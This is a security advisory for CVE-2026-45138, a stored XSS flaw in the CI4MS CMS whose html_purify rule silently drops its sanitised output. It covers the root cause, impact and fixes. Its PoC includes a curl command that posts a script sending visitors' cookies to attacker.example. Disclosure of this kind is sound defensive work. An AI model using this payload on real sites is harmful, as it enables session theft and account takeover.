{"id":"GHSA-2m69-jmvh-6chr","summary":"CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule","details":"## Summary\n\nThe custom `html_purify` validation rule used to sanitize blog post bodies relies on by-reference mutation (`?string &$str`), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes `$lanData['content']` directly into `blog_langs.content`, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.\n\n## Details\n\n### Root cause: by-reference mutation never propagates\n\n`Modules\\Backend\\Validation\\CustomRules::html_purify` declares its first argument by reference:\n\n```php\n// modules/Backend/Validation/CustomRules.php:54-73\npublic function html_purify(?string &$str = null, ?string &$error = null): bool\n{\n    if (empty(trim((string)$str))) return true;\n    if (!class_exists('\\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }\n    $clean = self::sanitizeHtml($str);\n    $str   = $clean;                                  // \u003c-- mutates only the local $value in CI4's validator\n    self::$cleanCache[md5((string)$str)] = $clean;    // \u003c-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)\n    return true;\n}\n```\n\nCI4's validator invokes the rule via a local variable `$value` it created from a copy of `$this-\u003edata`:\n\n```php\n// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211\nforeach ($values as $dotField =\u003e $value) {                       // local $value\n    $this-\u003eprocessRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);\n}\n\n// Validation.php:343-345\n$passed = ($param === null)\n    ? $set-\u003e{$rule}($value, $error)                              // \u003c-- $value is the local var\n    : $set-\u003e{$rule}($value, $param, $data, $error, $field);\n```\n\nThe reference mutation modifies that local `$value` only; `$this-\u003edata`, `$_POST`, and `getValidated()` keep the raw payload. The optional `getClean($original)` cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on `md5(clean)` rather than `md5(original)`.\n\n### Sink: raw POST is persisted and rendered unescaped\n\nThe Blog controller takes `$_POST['lang']` verbatim, runs it through validation (which always returns true for `html_purify`), and writes it to the database with no further filtering:\n\n```php\n// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)\n$langsPost = $this-\u003erequest-\u003egetPost('lang');                            // raw, unsanitized\n...\nif ($this-\u003evalidate($valData) == false) return redirect()-\u003e...;           // html_purify returns true\n...\nforeach ($langsPost as $lanCode =\u003e $lanData) {\n    $this-\u003ecommonModel-\u003ecreate('blog_langs', [\n        'blog_id' =\u003e $insertID,\n        'lang'    =\u003e $lanCode,\n        'title'   =\u003e trim(strip_tags($lanData['title'])),\n        'seflink' =\u003e trim(strip_tags($lanData['seflink'])),\n        'content' =\u003e $lanData['content'],                                  // \u003c-- raw HTML stored\n        ...\n    ]);\n}\n```\n\nThe same pattern is used in `Blog::edit` at `modules/Blog/Controllers/Blog.php:178` and `:201`.\n\nThe public blog post template echoes the field with no escaping:\n\n```php\n// app/Views/templates/default/blog/post.php:51\n\u003csection class=\"mb-5\" id=\"ci4ms-content\"\u003e\n    \u003c?php echo $infos-\u003econtent ?\u003e\n\u003c/section\u003e\n```\n\nThe view is reached through `App\\Controllers\\Home::post*` (Home.php:238), which is an unauthenticated public route.\n\n### Trust boundary\n\nBackend routes (`modules/Blog/Config/Routes.php`) are protected by `backendGuard` + Shield role checks, requiring `blogs.create` / `blogs.update`. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend `/blog/\u003cslug\u003e` is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.\n\n### Same defect in the Pages module\n\nA previous Stored XSS in the Pages module was \"fixed\" by introducing the very `html_purify` rule that this advisory shows is non-functional. Pages controllers (`Pages::create`, `Pages::update`) follow the same pattern and remain exploitable.\n\n## PoC\n\nPrerequisite: any account holding the backend `blogs.create` role (or `blogs.update` for the edit variant). Cookies obtained via the standard backend login flow.\n\n1. Submit a blog post with an XSS payload as the content body:\n\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/blogs/create \\\n  -d 'lang[en][title]=POC' \\\n  -d 'lang[en][seflink]=poc-xss' \\\n  -d \"lang[en][content]=\u003cscript\u003efetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))\u003c/script\u003e\" \\\n  -d 'isActive=1' \\\n  -d 'categories[]=1' \\\n  -d 'author=1' \\\n  -d 'created_at=01.01.2026 10:00:00' \\\n  -d 'csrf_token_name=\u003ctoken\u003e'\n```\n\n2. The validator returns success (`html_purify` reports `true`), and the row is written to `blog_langs` with `content` = `\u003cscript\u003e...\u003c/script\u003e` verbatim.\n\n3. Visit the public post URL `https://target/blog/poc-xss`. The injected `\u003cscript\u003e` runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.\n\nIndependent root-cause verification (run against the local app):\n\n```bash\n$ php /tmp/test_blog_flow.php\nValidation passed: true\nStored content for en: \u003cscript\u003ealert(\"STORED-XSS-PROOF-\"+document.domain)\u003c/script\u003e\n```\n\nThat is, when the same payload is fed to the real CI4 validator with the project's rule set, `getValidated()['lang']['en']['content']` returns the unmodified `\u003cscript\u003e...\u003c/script\u003e`, confirming the by-reference sanitization is dropped.\n\n## Impact\n\n- **Stored XSS reachable by any account with `blogs.create` or `blogs.update`** (delegated content-editor permission), executed in the browser of:\n  - every anonymous public visitor that loads the affected blog post,\n  - the superadmin and other backend reviewers when they open or preview the post.\n- Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.\n- Because the same broken `html_purify` rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through `Pages::create` / `Pages::update` via the same primitive — i.e., this is a project-wide regression of an already-published advisory.\n- The `getClean()` cache fallback intended as a backstop is also non-functional (key mismatch between `md5(clean)` writer and `md5(original)` reader).\n\n## Recommended Fix\n\n1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after `validate()` and before persisting.\n\n   Minimal, immediate fix in the Blog controller — apply to both `new` and `edit`:\n\n   ```php\n   // modules/Blog/Controllers/Blog.php  (Blog::new, ~line 123 and Blog::edit, ~line 201)\n   use Modules\\Backend\\Validation\\CustomRules;\n   ...\n   $this-\u003ecommonModel-\u003ecreate('blog_langs', [\n       'blog_id' =\u003e $insertID,\n       'lang'    =\u003e $lanCode,\n       'title'   =\u003e trim(strip_tags($lanData['title'])),\n       'seflink' =\u003e trim(strip_tags($lanData['seflink'])),\n       'content' =\u003e CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),\n       'seo'     =\u003e !empty($seoData) ? $seoData : '',\n   ]);\n   ```\n\n   Apply the identical change to `modules/Pages/Controllers/Pages.php` (the previous Pages Stored XSS fix relied on `html_purify` and is therefore still vulnerable).\n\n2. Fix the cache key bug so `getClean()` actually works as a defense-in-depth backstop:\n\n   ```php\n   // modules/Backend/Validation/CustomRules.php\n   public function html_purify(?string &$str = null, ?string &$error = null): bool\n   {\n       if (empty(trim((string)$str))) return true;\n       if (!class_exists('\\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }\n       $original = (string)$str;\n       $clean    = self::sanitizeHtml($original);\n       self::$cleanCache[md5($original)] = $clean;   // key on ORIGINAL, before reassignment\n       $str = $clean;                                // best-effort; CI4 will drop this\n       return true;\n   }\n   ```\n\n3. Document explicitly in `CustomRules` that `html_purify` is *not* a sanitizer — it returns `true` unconditionally on any HTMLPurifier-installed environment — and that callers MUST use `CustomRules::sanitizeHtml(...)` (or `CustomRules::getClean($original)` after the cache fix) on `$_POST` data before storage.\n\n4. Defense in depth: escape `$infos-\u003econtent` at output where feasible (e.g., `app/Views/templates/default/blog/post.php:51`), or pipe the stored value through `CustomRules::sanitizeHtml()` on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.","aliases":["CVE-2026-45138"],"modified":"2026-05-18T15:56:26.746767Z","published":"2026-05-18T15:39:33Z","database_specific":{"github_reviewed_at":"2026-05-18T15:39:33Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-2m69-jmvh-6chr"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"}],"affected":[{"package":{"name":"ci4-cms-erp/ci4ms","ecosystem":"Packagist","purl":"pkg:composer/ci4-cms-erp/ci4ms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.9.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0","0.31.4.0","0.31.5.0","0.31.6.0","0.31.7.0","0.31.8.0","0.31.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-2m69-jmvh-6chr/GHSA-2m69-jmvh-6chr.json","last_known_affected_version_range":"\u003c= 0.31.8.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}